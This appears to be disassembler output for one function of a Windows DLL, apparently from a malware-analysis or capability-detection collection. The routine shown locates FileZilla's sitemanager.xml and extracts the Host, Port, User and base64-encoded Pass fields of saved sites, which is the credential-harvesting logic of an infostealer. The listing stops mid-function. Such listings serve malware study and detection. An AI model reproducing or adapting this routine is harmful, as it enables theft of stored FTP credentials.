Function at 0x1800ad960
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
push r12
push r13
push r14
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x180126010]
xor rax, rsp
mov qword [rbp + 0x250], rax
xor ebx, ebx
mov qword [rcx + 0x18], 0xf
mov r14, rdx
mov qword [rcx], rbx
mov r12, rcx
mov qword [rcx + 0x10], rbx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x100], rbx
lea edx, [rbx + 0x1a]
mov qword [rbp + 0x110], rbx
xor r9d, r9d
mov qword [rbp + 0x118], 0xf
xor r8d, r8d
mov qword [rbp + 0xc0], rbx
xor ecx, ecx
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xd8], 0xf
mov r13d, ebx
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], 0xf
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], 0xf
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x140]
mov qword [rbp + 0x80], rbx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], 0xf
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1800ada50
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x80]
call fcn.1800bfba0
mov r8d, 1
lea rdx, [0x1801150b8]
lea rcx, [rbp + 0x80]
call fcn.1800bf270
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1800adae5
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adae0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af23a
call fcn.1800cd2cc
mov r8d, 0x19
mov qword [rbp + 0x90], rbx
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rbp + 0x98], 0xf
lea rcx, [rsp + 0x40]
mov byte [rbp + 0x80], bl
call fcn.1800bf270
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800adb74
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adb6f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af240
call fcn.1800cd2cc
cmp qword [rbp + 0x138], 0x10
lea rcx, [rbp + 0x120]
mov qword [rsp + 0x3b0], rsi
lea rdx, [0x180115130]
cmovae rcx, qword [rbp + 0x120]
mov qword [rsp + 0x368], rdi
mov qword [rsp + 0x360], r15
call fcn.1800d8f08
test rax, rax
je 0x1800af1b0
mov rcx, rax
call fcn.1800d8f98
mov rcx, qword [rbp + 0x130]
inc rcx
call fcn.1800cd690
cmp qword [rbp + 0x138], 0x10
lea rcx, [rbp + 0x120]
mov rdx, rax
mov r8, rax
cmovae rcx, qword [rbp + 0x120]
sub rdx, rcx
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800adbf0
lea rdx, [0x180115130]
mov rcx, r8
call fcn.1800d8f08
mov rcx, rax
mov r15, rax
call fcn.1800dc0f8
test eax, eax
jne 0x1800af105
lea rdi, [0x18012f750]
nop word [rax + rax]
mov r8, r15
mov edx, 0x800
mov rcx, rdi
call fcn.1800dac34
test rax, rax
je 0x1800af0f5
mov qword [rbp + 0x80], rbx
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], 0xf
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1800adc70
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.1800bfba0
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800adcc0
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800add3d
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800add14
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800add22
test rcx, rcx
je 0x1800add20
call fcn.1800cd2d4
jmp 0x1800add22
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 6
mov qword [rsp + 0x70], rdi
lea rdx, str._Host_
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
call fcn.1800bfba0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.18008c5f0
test eax, eax
jle 0x1800ae02b
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800addb8
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ade33
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ade0c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ade1a
test rcx, rcx
je 0x1800ade18
call fcn.1800cd2d4
jmp 0x1800ade1a
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rbp - 0x70], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800bfba0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.18008c5f0
test eax, eax
jle 0x1800ae02b
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._Host_
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c0b00
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800af258
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800bfba0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1800adf43
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adf3e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__Host_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0x100], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x110], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c0b00
cmp rbx, rax
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bfba0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1800ae013
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae00e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm1
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae060
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ae0d9
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae0b4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae0c2
test rcx, rcx
je 0x1800ae0c0
call fcn.1800cd2d4
jmp 0x1800ae0c2
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov qword [rbp - 0x70], rdi
lea rdx, str._Port_
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
lea r8d, [rbx + 6]
call fcn.1800bfba0
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.18008c5f0
test eax, eax
jle 0x1800ae3c5
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae154
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800ae1d1
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae1a8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae1b6
test rcx, rcx
je 0x1800ae1b4
call fcn.1800cd2d4
jmp 0x1800ae1b6
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rsp + 0x70], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800bfba0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18008c5f0
test eax, eax
jle 0x1800ae3c5
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._Port_
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c0b00
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 6]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
cmp rbx, rcx
jb 0x1800af258
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800bfba0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800ae2dd
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae2d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__Port_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xf0], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c0b00
cmp rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bfba0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800ae3ad
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae3a8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm1
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae3fa
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ae473
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae44e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae45c
test rcx, rcx
je 0x1800ae45a
call fcn.1800cd2d4
jmp 0x1800ae45c
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov qword [rbp - 0x70], rdi
lea rdx, str._User_
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
lea r8d, [rbx + 6]
call fcn.1800bfba0
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.18008c5f0
test eax, eax
jle 0x1800ae75f
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae4ee
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800ae56b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae542
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae550
test rcx, rcx
je 0x1800ae54e
call fcn.1800cd2d4
jmp 0x1800ae550
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rsp + 0x70], rdi
lea rdx, str.__User_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800bfba0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18008c5f0
test eax, eax
jle 0x1800ae75f
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._User_
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c0b00
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 6]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
cmp rbx, rcx
jb 0x1800af258
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800bfba0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1800ae677
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae672
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__User_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0xc0], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xd0], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c0b00
cmp rbx, rax
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bfba0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1800ae747
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ae742
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm1
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae794
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x68], 0xf
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800ae80d
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae7e8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae7f6
test rcx, rcx
je 0x1800ae7f4
call fcn.1800cd2d4
jmp 0x1800ae7f6
xor eax, eax
lea r8, [rdi + 1]
mov qword [rbp - 0x80], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rbp - 0x68], rbx
xor ebx, ebx
mov qword [rbp - 0x70], rdi
lea rdx, str._Pass_encoding_base64__
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
lea r8d, [rbx + 0x18]
call fcn.1800bfba0
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.18008c5f0
test eax, eax
jle 0x1800aebd3
cmp qword [rbp + 0x98], 0x10
lea rsi, [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmovae rsi, qword [rbp + 0x80]
cmp rdi, 0x10
jae 0x1800ae888
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800ae905
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ae8dc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800af246
mov rcx, rax
call fcn.1800cd2d4
mov rcx, rax
test rax, rax
je 0x1800af24c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ae8ea
test rcx, rcx
je 0x1800ae8e8
call fcn.1800cd2d4
jmp 0x1800ae8ea
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d03a0
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov r8d, 7
mov qword [rsp + 0x70], rdi
lea rdx, str.__Pass_
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 0xf
call fcn.1800bfba0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18008c5f0
test eax, eax
jle 0x1800aebd3
mov rsi, qword [rbp + 0x98]
lea rcx, [rbp + 0x80]
mov rdi, qword [rbp + 0x80]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rbp + 0x90]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800c0b00
mov qword [rsp + 0x58], 0xf
lea rcx, [rax + 0x18]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
cmp rbx, rcx
jb 0x1800af258
sub rbx, rcx
lea rdx, [rbp + 0x80]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.1800bfba0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800aea11
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aea0c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, str.__Pass_
movq rbx, xmm1
movq rsi, xmm0
mov rdx, rbx
movups xmmword [rbp + 0xa0], xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xb0], xmm1
cmovae rcx, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
call fcn.1800c0b00
cmp rbx, rax
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bfba0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800aeae1
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aeadc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af24c
call fcn.1800cd2cc
movups xmm0, xmmword [rsp + 0x40]
lea rdx, [rbp + 0xa0]
movups xmm1, xmmword [rsp + 0x50]
lea rcx, [rbp - 0x40]
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm1
call fcn.1800897b0
mov rbx, rax
lea rax, [rbp + 0xa0]
cmp rax, rbx
je 0x1800aeb96
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800aeb59
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aeb54
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af252
call fcn.1800cd2cc
mov qword [rbp + 0xb8], 0xf
xor eax, eax
mov qword [rbp + 0xb0], rax
mov byte [rbp + 0xa0], al
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1800aebd1
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aebcc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af252
call fcn.1800cd2cc
xor ebx, ebx
mov rcx, qword [rbp + 0x110]
test rcx, rcx
je 0x1800af0e2
cmp qword [rbp + 0xd0], 0
je 0x1800af0e2
cmp qword [rbp + 0xb0], 0
je 0x1800af0e2
cmp qword [r14 + 0x18], 0x10
mov rax, r14
jb 0x1800aec0c
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800aec1c
cmp byte [rax], 0x30
jne 0x1800aec1c
mov al, 1
jmp 0x1800aec1e
xor al, al
test al, al
je 0x1800aef8b
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x1800af234
cmp qword [rbp + 0x118], 0x10
lea rax, [rbp + 0x100]
mov qword [rsp + 0x30], rcx
lea r9, [0x180115190]
cmovae rax, qword [rbp + 0x100]
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c27f0
mov r8d, 1
lea rdx, [0x1801158a8]
lea rcx, [rbp + 0x40]
call fcn.1800bf270
mov qword [rsp + 0x40], rbx
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xf8], 0x10
mov r8, qword [rbp + 0xf0]
cmovae rdx, qword [rbp + 0xe0]
call fcn.1800bf270
mov r8d, 1
lea rdx, [0x18011518c]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf270
mov r8d, 1
lea rdx, [0x180115190]
lea rcx, [rbp + 0x20]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800bf270
mov qword [rbp - 0x60], rbx
lea rdx, [rbp + 0xc0]
mov qword [rbp - 0x50], rbx
